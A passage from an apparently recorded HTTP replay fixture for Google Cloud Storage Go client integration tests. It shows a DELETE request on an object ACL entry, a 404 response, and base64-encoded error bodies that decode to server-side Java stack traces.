QwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJCdWNrZXQgaXMgcmVxdWVzdGVyIHBheXMgYnVja2V0IGJ1dCBubyB1c2VyIHByb2plY3QgcHJvdmlkZWQuIn19" - } - }, - { - "ID": "692d41cf9ea91eb2", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/foo/acl/domain-google.com?alt=json\u0026prettyPrint=false\u0026userProject=gcloud-golang-firestore-tests", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 404, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0" - ], - "Content-Length": [ - "11631" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:14 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:14 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpuFB_mdJg9Fd7Sj06Xdcrj7Up2xXVc_P-SgISEEtiv4v9doPXzNbzBz92Q2UfEchYWSQnikHhS34dUAOefj9J4vaBYqjc9RjFmrn8YcPNyS8aWKgI" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6Im5vdEZvdW5kIiwibWVzc2FnZSI6Ik5vdCBGb3VuZCIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0xfU0NPUEVfTk9UX0ZPVU5EOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjg2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuRGVsZXRlQWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoRGVsZXRlQWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5kZWxldGUoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YToxMDkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1OT1RfRk9VTkQsIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuZGVsZXRlKEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6MTA5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBTcGVjaWZpZWQgQUNMIHNjb3BlIHdhcyBub3QgZm91bmRcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBkb21haW49Z2xvYmFsLCBleHRlbmRlZEhlbHA9bnVsbCwgaHR0cEhlYWRlcnM9e30sIGh0dHBTdGF0dXM9bm90Rm91bmQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLk5PVF9GT1VORCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDTF9TQ09QRV9OT1RfRk9VTkQ6IFNwZWNpZmllZCBBQ0wgc2NvcGUgd2FzIG5vdCBmb3VuZFxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6ODYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5EZWxldGVBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChEZWxldGVBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmRlbGV0ZShBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjEwOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Tk9UX0ZPVU5ELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZV9pZC5zY29wZSwgbWVzc2FnZT1udWxsLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LnJlc291cmNlX2lkLnNjb3BlLCBtZXNzYWdlPU5vdCBGb3VuZCwgcmVhc29uPW5vdEZvdW5kLCBycGNDb2RlPTQwNH0gTm90IEZvdW5kOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNMX1NDT1BFX05PVF9GT1VORDogU3BlY2lmaWVkIEFDTCBzY29wZSB3YXMgbm90IGZvdW5kXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbGV0ZUFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKERlbGV0ZUFjbHMuamF2YTo4Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkRlbG